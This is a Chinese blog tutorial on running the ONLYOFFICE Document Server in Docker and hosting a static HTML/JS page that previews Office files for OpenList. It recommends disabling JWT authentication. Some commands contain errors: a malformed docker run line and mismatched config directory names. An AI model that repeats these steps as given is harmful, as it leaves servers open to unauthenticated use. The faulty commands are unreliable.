::github{repo=&quot;ONLYOFFICE/Docker-DocumentServer&quot;}
简单来说，就是一个在Docker里面跑的、类似Microsoft Office Online的在线Office套件。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;部署&lt;/h1&gt;
&lt;p&gt;官方文档:&lt;a href=&quot;https://helpcenter.onlyoffice.com/docs/installation/docs-community-install-docker.aspx&quot;&gt;https://helpcenter.onlyoffice.com/docs/installation/docs-community-install-docker.aspx&lt;/a&gt;
首先，对于性能这块，官方是这么要求的：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;CPU: dual core 2 GHz or better&lt;/li&gt;
&lt;li&gt;RAM: 4 GB or more&lt;/li&gt;
&lt;li&gt;HDD: at least 40 GB of free space&lt;/li&gt;
&lt;li&gt;SWAP: at least 4 GB, but depends on the host OS. More is better&lt;/li&gt;
&lt;li&gt;OS: amd64 Linux distribution with kernel version 3.10 or later
但是其实实际拉下来只需要大约6GB的硬盘和400MiB的运行时内存。
先安个Docker。&amp;lt;del&amp;gt;应该都会那就跳过了&amp;lt;/del&amp;gt;
然后拉一下镜像：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;docker pull onlyoffice/documentserver:latest
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;完整镜像5.7GB左右，请为服务器留足空间
然后，创建配置目录并启动容器：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mkdir ~/openoffice_config  #这里的配置目录可以自己指定，但是记得在下面改
sudo docker run -i -t -d -p 8080:80 --restart=always -v ~/onlyoffice_config:/etc/onlyoffice/documentserver -e JWT_SECRET=你的jwt密钥 onlyoffice/documentserver
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中的&lt;code&gt;8080&lt;/code&gt;是你想开放到宿主的端口，关于&lt;code&gt;JWT_SECRET&lt;/code&gt;，这是为了防止他人使用，在调用是应该传入的访问密钥，可以自定义。但是在这个场景中，即使你有密钥，也会在前端明文，所以建议不配置：如果懒得配置密码，也可以将环境变量&lt;code&gt;JWT_SECRET&lt;/code&gt;去掉，加上&lt;code&gt;-e JWT_ENABLED=false&lt;/code&gt;，即：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mkdir ~/openoffice_config
sudo docker run -i -t -d -p 8080:80 --restart=always -e -v ~/onlyoffice_config:/etc/onlyoffice/documentserver JWT_ENABLED=false onlyoffice/documentserver
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;启动后访问对应的端口，你应该能看到：
&lt;img src=&quot;/images/oo-installed.png&quot; alt=&quot;OnlyOffice Installed&quot; /&gt;&lt;/p&gt;
&lt;p&gt;#配置&lt;/p&gt;
&lt;h2&gt;修改最大下载大小&lt;/h2&gt;
&lt;p&gt;要把 OnlyOffice 作为预览器使用，我们还需要进行一些配置。默认情况下是不支持100MB以上的文件的，需要改配置文件，所以我们需要手动挂载并修改。
请确保你在上一步中创建的配置文件夹有效。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nano ~/onlyoffice_config/default.json #或你自己的配置目录
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;定位到FileConverter中的converter块，修改maxDownloadBytes：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&quot;converter&quot;: {
      &quot;maxDownloadBytes&quot;: 10485760000, #原来是104857600.这个参数代表允许的最大文件大小，以字节计算，此处改为了10GB
      &quot;downloadTimeout&quot;: {
        &quot;connectionAndInactivity&quot;: &quot;2m&quot;,
        &quot;wholeCycle&quot;: &quot;2m&quot;
      },
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;保存后重启容器：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker restart $(docker ps -q --filter ancestor=onlyoffice/documentserver)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;搭建预览前端&lt;/h2&gt;
&lt;p&gt;要实现预览iframe我们还需要一个静态网页来调用onlyoffice的js。你可以使用各种Pages服务（如Github Pages,Cloudflare Pages,Netlify.......）免费托管，这个对前端速度要求不大。可以参考如下的html，但是记得将&lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt;中的onlyoffice地址替换。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html lang=&quot;zh-CN&quot;&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;
    &amp;lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&amp;gt;
    &amp;lt;title&amp;gt;OnlyOffice 预览器&amp;lt;/title&amp;gt;
    &amp;lt;style&amp;gt;
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        html, body {
            width: 100%;
            height: 100%;
            overflow: hidden;
            background: #f5f5f5;
        }
        #placeholder {
            width: 100%;
            height: 100%;
            display: flex;
            align-items: center;
            justify-content: center;
            font-family: system-ui, -apple-system, sans-serif;
            color: #666;
        }
        .error {
            color: #d32f2f;
            background: #ffebee;
            padding: 16px 24px;
            border-radius: 8px;
            box-shadow: 0 2px 8px rgba(0,0,0,0.1);
        }
    &amp;lt;/style&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;!-- OnlyOffice 编辑器将挂载到此容器 --&amp;gt;
    &amp;lt;div id=&quot;onlyoffice-container&quot; style=&quot;width: 100%; height: 100%;&quot;&amp;gt;&amp;lt;/div&amp;gt;
    &amp;lt;!-- 初始占位提示 --&amp;gt;
    &amp;lt;div id=&quot;placeholder&quot;&amp;gt;正在加载预览器...&amp;lt;/div&amp;gt;

    &amp;lt;script&amp;gt;
        (function() {
            // ==================== 配置 ====================
            // 请替换为你的 OnlyOffice 文档服务地址
            const DOCUMENT_SERVER_URL = &apos;http://example.com&apos;;
            
            // ==================== 工具函数 ====================
            // 从 URL 获取查询参数
            function getQueryParam(name) {
                const params = new URLSearchParams(window.location.search);
                return params.get(name);
            }

            // 从文件 URL 中提取文件名（作为备用）
            function getFileNameFromUrl(url) {
                try {
                    const pathname = new URL(url, window.location.origin).pathname;
                    const name = pathname.split(&apos;/&apos;).pop();
                    if (name &amp;amp;&amp;amp; name.includes(&apos;.&apos;)) return name;
                    return &apos;document&apos;;
                } catch {
                    return &apos;document&apos;;
                }
            }

            // 获取文件扩展名（不含点，小写）
            function getFileExtension(url) {
                const path = url.split(&apos;?&apos;)[0]; // 去除查询参数
                const parts = path.split(&apos;.&apos;);
                if (parts.length &amp;lt; 2) return &apos;&apos;;
                return parts.pop().toLowerCase();
            }

            // 根据扩展名判断 OnlyOffice 文档类型
            function getDocumentType(extension) {
                const cellTypes = [&apos;xls&apos;, &apos;xlsx&apos;, &apos;xlsm&apos;, &apos;xlsb&apos;, &apos;csv&apos;, &apos;ods&apos;, &apos;fods&apos;, &apos;ots&apos;];
                const slideTypes = [&apos;ppt&apos;, &apos;pptx&apos;, &apos;pptm&apos;, &apos;pps&apos;, &apos;ppsx&apos;, &apos;odp&apos;, &apos;fodp&apos;, &apos;otp&apos;];
                
                if (cellTypes.includes(extension)) return &apos;cell&apos;;
                if (slideTypes.includes(extension)) return &apos;slide&apos;;
                // 其余均视为文本文档（包括 .doc, .docx, .pdf, .txt, .rtf 等）
                return &apos;word&apos;;
            }

            // 隐藏占位元素
            function hidePlaceholder() {
                const ph = document.getElementById(&apos;placeholder&apos;);
                if (ph) ph.style.display = &apos;none&apos;;
            }

            // 显示错误信息
            function showError(message) {
                const container = document.getElementById(&apos;onlyoffice-container&apos;);
                const ph = document.getElementById(&apos;placeholder&apos;);
                if (ph) ph.style.display = &apos;none&apos;;
                container.innerHTML = `&amp;lt;div class=&quot;error&quot;&amp;gt;❌ ${message}&amp;lt;/div&amp;gt;`;
            }

            // ==================== 主逻辑 ====================
            const fileUrl = getQueryParam(&apos;src&apos;);
            
            // 如果没有提供 src 参数，显示错误
            if (!fileUrl) {
                showError(&apos;缺少参数：请通过 ?src=文件URL 指定要预览的文件&apos;);
                throw new Error(&apos;缺少 src 参数&apos;);
            }

            // 解码 URL（处理可能的编码）
            const decodedFileUrl = decodeURIComponent(fileUrl);
            const fileExtension = getFileExtension(decodedFileUrl);
            const fileName = getFileNameFromUrl(decodedFileUrl);
            const documentType = getDocumentType(fileExtension);

            // 构建 OnlyOffice 配置（纯预览模式）
            const config = {
                document: {
                    fileType: fileExtension,
                    key: `${fileName}_${Date.now()}`,
                    title: fileName,
                    url: decodedFileUrl,
                },
                documentType: documentType,
                editorConfig: {
                    mode: &apos;view&apos;,           // 仅预览，不可编辑
                    lang: &apos;zh-CN&apos;,
                },
                height: &apos;100%&apos;,
                width: &apos;100%&apos;,
                // 可选：事件监听
                events: {
                    onAppReady: function() {
                        hidePlaceholder();
                        console.log(&apos;OnlyOffice 编辑器已就绪&apos;);
                    },
                    onDocumentReady: function() {
                        console.log(&apos;文档加载完成&apos;);
                    },
                    onError: function(error) {
                        console.error(&apos;文档错误:&apos;, error);
                        showError(`文档加载失败: ${error.data || &apos;未知错误&apos;}`);
                    }
                }
            };

            // 加载 OnlyOffice API 脚本并初始化
            function loadOnlyOfficeAPI() {
                const script = document.createElement(&apos;script&apos;);
                script.src = `${DOCUMENT_SERVER_URL}web-apps/apps/api/documents/api.js`;
                script.onload = function() {
                    try {
                        // 初始化编辑器
                        window.DocEditor = new DocsAPI.DocEditor(&apos;onlyoffice-container&apos;, config);
                    } catch (e) {
                        showError(`初始化失败: ${e.message}`);
                    }
                };
                script.onerror = function() {
                    showError(`无法连接到 OnlyOffice 文档服务 (${DOCUMENT_SERVER_URL})，请检查服务地址或网络`);
                };
                document.head.appendChild(script);
            }

            // 开始加载
            loadOnlyOfficeAPI();
        })();
    &amp;lt;/script&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;预览前端html并不需要和后端在同一域名，但是推荐使用反向代理将其绑定到后端域名的/。
部署好之后，就可以通过&lt;code&gt;预览器地址/?src=文件url&lt;/code&gt;这个iframe进行office文件的预览了。你也可以在OpenList的预览中iframe预览项目填写：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;	&quot;doc,docx,xls,xlsx,ppt,pptx&quot;: {
		&quot;OnlyOffice&quot;: &quot;http(s)://你的预览器/?src=$e_url&quot;
	},
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;/images/oo-finished.png&quot; alt=&quot;OpenOffice Finished&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;对于 Onedrive 等下载链接不带后缀名的平台&lt;/h2&gt;
&lt;p&gt;例如Onedrive，在OpenList中得到的下载链接是同一download.aspx，无法通过后缀判断文件类型，这时就需要手动指定文件类型……具体方法可以咨询各大AI。&lt;/p&gt;
&lt;h1&gt;我一点都不想自建，只想白嫖？&lt;/h1&gt;
&lt;p&gt;好吧，既然你都看到这了。你也可以使用我搭建的服务，&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://previewfront.y-dev.tech/?src={YOUR_URL}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;会根据后缀名自动选择预览方式。&lt;/p&gt;
</content:encoded></item></channel></rss>